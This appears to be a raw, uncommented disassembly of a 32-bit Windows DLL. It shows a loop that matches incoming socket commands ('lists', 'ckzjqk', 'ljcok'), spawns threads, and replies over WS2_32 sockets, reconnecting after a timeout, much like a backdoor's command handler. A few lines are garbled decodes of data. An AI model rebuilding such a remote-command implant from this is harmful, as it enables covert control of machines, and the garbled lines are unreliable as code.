add dword [ebp - 0x55b8], 4
cmp dword [ebp - 0x55b0], 4
jae 0x10006323
cmp dword [ebp - 0x55b0], 0
je 0x10006436
mov edx, dword [ebp - 0x55b4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x55b8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x55bc], edx
jne 0x10006442
sub dword [ebp - 0x55b0], 1
add dword [ebp - 0x55b4], 1
add dword [ebp - 0x55b8], 1
cmp dword [ebp - 0x55b0], 0
je 0x10006436
mov eax, dword [ebp - 0x55b4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x55b8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x55bc], eax
jne 0x10006442
sub dword [ebp - 0x55b0], 1
add dword [ebp - 0x55b4], 1
add dword [ebp - 0x55b8], 1
cmp dword [ebp - 0x55b0], 0
je 0x10006436
mov ecx, dword [ebp - 0x55b4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x55b8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x55bc], ecx
jne 0x10006442
sub dword [ebp - 0x55b0], 1
add dword [ebp - 0x55b4], 1
add dword [ebp - 0x55b8], 1
cmp dword [ebp - 0x55b0], 0
je 0x10006436
mov edx, dword [ebp - 0x55b4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x55b8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x55bc], edx
jne 0x10006442
mov dword [ebp - 0x55c0], 0
jmp 0x1000645f
mov dword [ebp - 0x55c0], 1
cmp dword [ebp - 0x55bc], 0
jg 0x1000645f
mov dword [ebp - 0x55c0], 0xffffffff
mov eax, dword [ebp - 0x55c0]
mov dword [ebp - 0x55c4], eax
cmp dword [ebp - 0x55c4], 0
jne 0x10006480
mov byte [0x1009682f], 1
jmp 0x100037a1
mov dword [ebp - 0x55c8], 5
mov dword [ebp - 0x55cc], str.lists
mov dword [ebp - 0x55d0], 0x1008c710
jmp 0x100064c7
mov ecx, dword [ebp - 0x55cc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x55d0]
cmp dword [eax], edx
jne 0x100064dd
sub dword [ebp - 0x55c8], 4
add dword [ebp - 0x55cc], 4
add dword [ebp - 0x55d0], 4
cmp dword [ebp - 0x55c8], 4
jae 0x100064a0
cmp dword [ebp - 0x55c8], 0
je 0x100065b3
mov ecx, dword [ebp - 0x55cc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x55d0]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x55d4], ecx
jne 0x100065bf
sub dword [ebp - 0x55c8], 1
add dword [ebp - 0x55cc], 1
add dword [ebp - 0x55d0], 1
cmp dword [ebp - 0x55c8], 0
je 0x100065b3
mov edx, dword [ebp - 0x55cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x55d0]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x55d4], edx
jne 0x100065bf
sub dword [ebp - 0x55c8], 1
add dword [ebp - 0x55cc], 1
add dword [ebp - 0x55d0], 1
cmp dword [ebp - 0x55c8], 0
je 0x100065b3
mov eax, dword [ebp - 0x55cc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x55d0]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x55d4], eax
jne 0x100065bf
sub dword [ebp - 0x55c8], 1
add dword [ebp - 0x55cc], 1
add dword [ebp - 0x55d0], 1
cmp dword [ebp - 0x55c8], 0
je 0x100065b3
mov ecx, dword [ebp - 0x55cc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x55d0]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x55d4], ecx
jne 0x100065bf
mov dword [ebp - 0x55d8], 0
jmp 0x100065dc
mov dword [ebp - 0x55d8], 1
cmp dword [ebp - 0x55d4], 0
jg 0x100065dc
mov dword [ebp - 0x55d8], 0xffffffff
mov edx, dword [ebp - 0x55d8]
mov dword [ebp - 0x55dc], edx
cmp dword [ebp - 0x55dc], 0
jne 0x1000661b
lea eax, [ebp - 0x2d4]
push eax
push 0
push 0x1008c710
push 0x10008470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100037a1
je 0x1000662b
jne 0x1000662b
jmp 0x1000669d
mov dword [ebp - 0x55e0], 6
mov dword [ebp - 0x55e4], str.ckzjqk
mov dword [ebp - 0x55e8], 0x1008c710
jmp 0x10006672
mov ecx, dword [ebp - 0x55e4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x55e8]
cmp dword [eax], edx
jne 0x10006688
sub dword [ebp - 0x55e0], 4
add dword [ebp - 0x55e4], 4
add dword [ebp - 0x55e8], 4
cmp dword [ebp - 0x55e0], 4
jae 0x1000664b
cmp dword [ebp - 0x55e0], 0
je 0x1000675e
mov ecx, dword [ebp - 0x55e4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x55e8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x55ec], ecx
jne 0x1000676a
lea edx, [edx + ebp*4]
invalid
sub dword [ebp - 0x55e0], 1
add dword [ebp - 0x55e4], 1
add dword [ebp - 0x55e8], 1
cmp dword [ebp - 0x55e0], 0
je 0x1000675e
mov edx, dword [ebp - 0x55e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x55e8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x55ec], edx
jne 0x1000676a
sub dword [ebp - 0x55e0], 1
add dword [ebp - 0x55e4], 1
add dword [ebp - 0x55e8], 1
cmp dword [ebp - 0x55e0], 0
je 0x1000675e
mov eax, dword [ebp - 0x55e4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x55e8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x55ec], eax
jne 0x1000676a
sub dword [ebp - 0x55e0], 1
add dword [ebp - 0x55e4], 1
add dword [ebp - 0x55e8], 1
cmp dword [ebp - 0x55e0], 0
je 0x1000675e
mov ecx, dword [ebp - 0x55e4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x55e8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x55ec], ecx
jne 0x1000676a
mov dword [ebp - 0x55f0], 0
jmp 0x10006787
mov dword [ebp - 0x55f0], 1
cmp dword [ebp - 0x55ec], 0
jg 0x10006787
mov dword [ebp - 0x55f0], 0xffffffff
mov edx, dword [ebp - 0x55f0]
mov dword [ebp - 0x55f4], edx
cmp dword [ebp - 0x55f4], 0
jne 0x100068c7
call fcn.100010c0
mov dword [ebp - 0x55f8], eax
mov dword [ebp - 0x55fc], 0x10092828
mov eax, dword [ebp - 0x55fc]
mov dword [ebp - 0x5600], eax
mov ecx, dword [ebp - 0x55f8]
mov dl, byte [ecx]
mov byte [ebp - 0x5601], dl
mov eax, dword [ebp - 0x55fc]
mov cl, byte [ebp - 0x5601]
mov byte [eax], cl
mov edx, dword [ebp - 0x55f8]
add edx, 1
mov dword [ebp - 0x55f8], edx
mov eax, dword [ebp - 0x55fc]
add eax, 1
mov dword [ebp - 0x55fc], eax
cmp byte [ebp - 0x5601], 0
jne 0x100067c1
mov dword [ebp - 0x5608], 0x10092828
mov ecx, dword [ebp - 0x5608]
add ecx, 1
mov dword [ebp - 0x560c], ecx
mov edx, dword [ebp - 0x5608]
mov al, byte [edx]
mov byte [ebp - 0x560d], al
add dword [ebp - 0x5608], 1
cmp byte [ebp - 0x560d], 0
jne 0x1000681d
mov ecx, dword [ebp - 0x5608]
sub ecx, dword [ebp - 0x560c]
mov dword [ebp - 0x5614], ecx
mov edx, dword [ebp - 0x5614]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x100068c2
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
mov dword [ebp - 0x5618], 3
mov dword [ebp - 0x561c], 0x1007d264
mov dword [ebp - 0x5620], 0x1008c710
jmp 0x1000690e
mov eax, dword [ebp - 0x561c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5620]
cmp dword [edx], ecx
jne 0x10006924
sub dword [ebp - 0x5618], 4
add dword [ebp - 0x561c], 4
add dword [ebp - 0x5620], 4
cmp dword [ebp - 0x5618], 4
jae 0x100068e7
cmp dword [ebp - 0x5618], 0
je 0x100069fa
mov eax, dword [ebp - 0x561c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5620]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5624], eax
jne 0x10006a06
sub dword [ebp - 0x5618], 1
add dword [ebp - 0x561c], 1
add dword [ebp - 0x5620], 1
cmp dword [ebp - 0x5618], 0
je 0x100069fa
mov ecx, dword [ebp - 0x561c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5620]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5624], ecx
jne 0x10006a06
sub dword [ebp - 0x5618], 1
add dword [ebp - 0x561c], 1
add dword [ebp - 0x5620], 1
cmp dword [ebp - 0x5618], 0
je 0x100069fa
mov edx, dword [ebp - 0x561c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5620]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5624], edx
jne 0x10006a06
sub dword [ebp - 0x5618], 1
add dword [ebp - 0x561c], 1
add dword [ebp - 0x5620], 1
cmp dword [ebp - 0x5618], 0
je 0x100069fa
mov eax, dword [ebp - 0x561c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5620]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5624], eax
jne 0x10006a06
mov dword [ebp - 0x5628], 0
jmp 0x10006a23
mov dword [ebp - 0x5628], 1
cmp dword [ebp - 0x5624], 0
jg 0x10006a23
mov dword [ebp - 0x5628], 0xffffffff
mov ecx, dword [ebp - 0x5628]
mov dword [ebp - 0x562c], ecx
cmp dword [ebp - 0x562c], 0
jne 0x10006f6f
lea eax, [ebp - 0x5204]
call fcn.10001c00
mov dword [ebp - 4], 0
lea esi, [ebp - 0x5204]
call fcn.10001f20
push 0x2000
push 0
push 0x10092828
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x5204]
call fcn.10001ca0
mov dword [ebp - 0x5630], eax
mov dword [ebp - 0x5634], 0x10092828
mov edx, dword [ebp - 0x5634]
mov dword [ebp - 0x5638], edx
mov eax, dword [ebp - 0x5630]
mov cl, byte [eax]
mov byte [ebp - 0x5639], cl
mov edx, dword [ebp - 0x5634]
mov al, byte [ebp - 0x5639]
mov byte [edx], al
mov ecx, dword [ebp - 0x5630]
add ecx, 1
mov dword [ebp - 0x5630], ecx
mov edx, dword [ebp - 0x5634]
add edx, 1
mov dword [ebp - 0x5634], edx
cmp byte [ebp - 0x5639], 0
jne 0x10006a94
mov dword [ebp - 0x5640], 0x10092828
mov eax, dword [ebp - 0x5640]
add eax, 1
mov dword [ebp - 0x5644], eax
mov ecx, dword [ebp - 0x5640]
mov dl, byte [ecx]
mov byte [ebp - 0x5645], dl
add dword [ebp - 0x5640], 1
cmp byte [ebp - 0x5645], 0
jne 0x10006af0
mov eax, dword [ebp - 0x5640]
sub eax, dword [ebp - 0x5644]
mov dword [ebp - 0x564c], eax
mov ecx, dword [ebp - 0x564c]
mov dword [0x10092820], ecx
push 0x2000
push 0
lea edx, [ebp - 0x51fc]
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x5650], 0x10092828
lea eax, [ebp - 0x51fc]
mov dword [ebp - 0x5654], eax
mov ecx, dword [ebp - 0x5654]
mov dword [ebp - 0x5658], ecx
mov edx, dword [ebp - 0x5650]
mov al, byte [edx]
mov byte [ebp - 0x5659], al
mov ecx, dword [ebp - 0x5654]
mov dl, byte [ebp - 0x5659]
mov byte [ecx], dl
mov eax, dword [ebp - 0x5650]
add eax, 1
mov dword [ebp - 0x5650], eax
mov ecx, dword [ebp - 0x5654]
add ecx, 1
mov dword [ebp - 0x5654], ecx
cmp byte [ebp - 0x5659], 0
jne 0x10006b64
mov edx, dword [0x10092820]
mov dword [ebp - 0x5208], edx
push 0x2000
push 0
push 0x10092828
call sub.MSVCR80.dll_memset
add esp, 0xc
mov eax, dword [0x10092820]
push eax
push str.jcsize_6d_
push 0x10092828
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0xc
mov dword [ebp - 0x5660], 0x10092828
mov ecx, dword [ebp - 0x5660]
add ecx, 1
mov dword [ebp - 0x5664], ecx
mov edx, dword [ebp - 0x5660]
mov al, byte [edx]
mov byte [ebp - 0x5665], al
add dword [ebp - 0x5660], 1
cmp byte [ebp - 0x5665], 0
jne 0x10006bf9
mov ecx, dword [ebp - 0x5660]
sub ecx, dword [ebp - 0x5664]
mov dword [ebp - 0x566c], ecx
mov edx, dword [ebp - 0x566c]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10006cb0
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x5204]
call fcn.10001c10
jmp 0x10002e45
scasd eax, dword es:[edi]
invalid
je 0x10006cbe
jne 0x10006cbe
jmp 0x10006ca7
nop
nop
nop
push 0x2000
push 0
push 0x1008c710
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2000
push 0x1008c710
mov eax, dword [0x1008e814]
push eax
call fcn.10028970
add esp, 0xc
cmp eax, 1
jge 0x10006d5a
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x5204]
call fcn.10001c10
jmp 0x10002e45
mov dword [ebp - 0x5670], 5
mov dword [ebp - 0x5674], str.ljcok
mov dword [ebp - 0x5678], 0x1008c710
jmp 0x10006da1
mov eax, dword [ebp - 0x5674]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5678]
cmp dword [edx], ecx
jne 0x10006db7
cmp dword [ebp - 0x5670], 4
jae 0x10006d7a
cmp dword [ebp - 0x5670], 0
je 0x10006e8d
clc
nop
jae 0x10006f79
call 0x88863764
test eax, 0x3ffff
add byte [eax], al
mov dword [ebp - 0x5688], 3
mov dword [ebp - 0x568c], 0x1007d27c
mov dword [ebp - 0x5690], 0x1008c710
jmp 0x10006fc0
mov ecx, dword [ebp - 0x568c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5690]
cmp dword [eax], edx
jne 0x10006fd6
sub dword [ebp - 0x5688], 4
add dword [ebp - 0x568c], 4
add dword [ebp - 0x5690], 4
cmp dword [ebp - 0x5688], 4
jae 0x10006f99
cmp dword [ebp - 0x5688], 0
je 0x100070ac
mov ecx, dword [ebp - 0x568c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5690]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5694], ecx
jne 0x100070b8
sub dword [ebp - 0x5688], 1
add dword [ebp - 0x568c], 1
add dword [ebp - 0x5690], 1
cmp dword [ebp - 0x5688], 0
je 0x100070ac
mov edx, dword [ebp - 0x568c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5690]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5694], edx
jne 0x100070b8
sub dword [ebp - 0x5688], 1
add dword [ebp - 0x568c], 1
add dword [ebp - 0x5690], 1
cmp dword [ebp - 0x5688], 0
je 0x100070ac
mov eax, dword [ebp - 0x568c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5690]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5694], eax
jne 0x100070b8
sub dword [ebp - 0x5688], 1
add dword [ebp - 0x568c], 1
add dword [ebp - 0x5690], 1
cmp dword [ebp - 0x5688], 0
je 0x100070ac
mov dword [ebp - 0x5698], 0
jmp 0x100070d5
mov dword [ebp - 0x5698], 1
cmp dword [ebp - 0x5694], 0
jg 0x100070d5
mov dword [ebp - 0x5698], 0xffffffff
mov edx, dword [ebp - 0x5698]
mov dword [ebp - 0x569c], edx
cmp dword [ebp - 0x569c], 0
jne 0x10007572
push 0x200
push 0
lea eax, [ebp - 0x4fc]
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x56a0], 0x1008c710
mov ecx, dword [ebp - 0x56a0]
add ecx, 1
mov dword [ebp - 0x56a4], ecx
mov edx, dword [ebp - 0x56a0]
mov al, byte [edx]
mov byte [ebp - 0x56a5], al
add dword [ebp - 0x56a0], 1
cmp byte [ebp - 0x56a5], 0
jne 0x1000711d
mov ecx, dword [ebp - 0x56a0]
sub ecx, dword [ebp - 0x56a4]
mov dword [ebp - 0x56ac], ecx
mov edx, dword [ebp - 0x56ac]
sub edx, 4
push edx
push 0x1008c714
lea eax, [ebp - 0x4fc]
push eax
call sub.MSVCR80.dll_memcpy
add esp, 0xc
cmp dword [ebp - 0x2514], 1
jne 0x1000756d
lea eax, [ebp - 0x5214]
call fcn.10001c00
mov dword [ebp - 4], 1
lea esi, [ebp - 0x5214]
call fcn.10001f20
lea ecx, [ebp - 0x4fc]
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
mov dword [ebp - 0x520c], eax
cmp dword [ebp - 0x520c], 0
jne 0x1000726a
jmp 0x100037a1
jmp 0x100037a1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10009090
mov esp, ebp
pop ebp
ret